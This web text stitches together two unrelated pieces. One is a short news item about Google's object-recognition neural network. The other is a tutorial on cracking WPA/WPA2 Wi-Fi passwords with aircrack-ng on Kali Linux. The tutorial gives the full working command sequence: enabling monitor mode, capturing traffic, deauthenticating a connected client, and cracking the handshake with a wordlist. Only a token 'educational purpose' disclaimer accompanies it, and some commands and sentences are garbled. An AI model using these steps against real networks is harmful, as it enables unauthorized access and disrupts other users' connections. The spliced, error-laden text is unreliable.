Automatic object recognition in images is currently tricky. Even if a computer has the help of smart algorithms and human assistants, it may not catch everything in a given scene. Google might change that soon, though; it just detailed a new detection systemthat can easily spot lots of objects in a scene, even if they're partly obscured. The key is aneural network that can rapidly refine the criteria it's looking for without requiring a lot of extra computing power. The result is a far deeper scanning system that can both identify more objects and make better guesses -- it can spot tons of items in a living room, including (according to Google's odd example) a flying cat. The technology is still young, but the internet giant sees its recognition breakthrough helping everything fromimage searches through to self-driving cars. Don't be surprised if it gets much easier to look for things online using only vaguest of terms.
In this tutorial we are going to teach you How to crack WPA & WPA 2 with aircrack-ng on Kali Linux. We high recommend this for research or educational purpose only. Things we used for cracking WPA & WPA2: Alfa AWUSO36H Wireless Card Windows 7-64bit (works on 32bit) VMware Workstation Kali Linux 2.0 Command to crack WPA & WPA2: airmon-ng sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor sudo ifconfig wlan0 up airodump-ng wlan0 airodump-ng -c [channel id] --write [any name] --bssid [bssid of the wifi] wlan0 aireplay-ng --deauth 5 -a [bssid] -c [station id] wlan0 aircrack-ng -w [wordlist file] -b [bssid] [any name]-01.cap sudo ifconfig wlan0 down sudo iwcofnig wlan0 mode monitor sudo ifconfig wlan0 up Here is a YouTube video on How to crack WPA and WPA2 with Aircrack-ng on Kali Linux: In the about tutorial we EVER hack our own systems as a proof of concept and never engage in any black hat activity.
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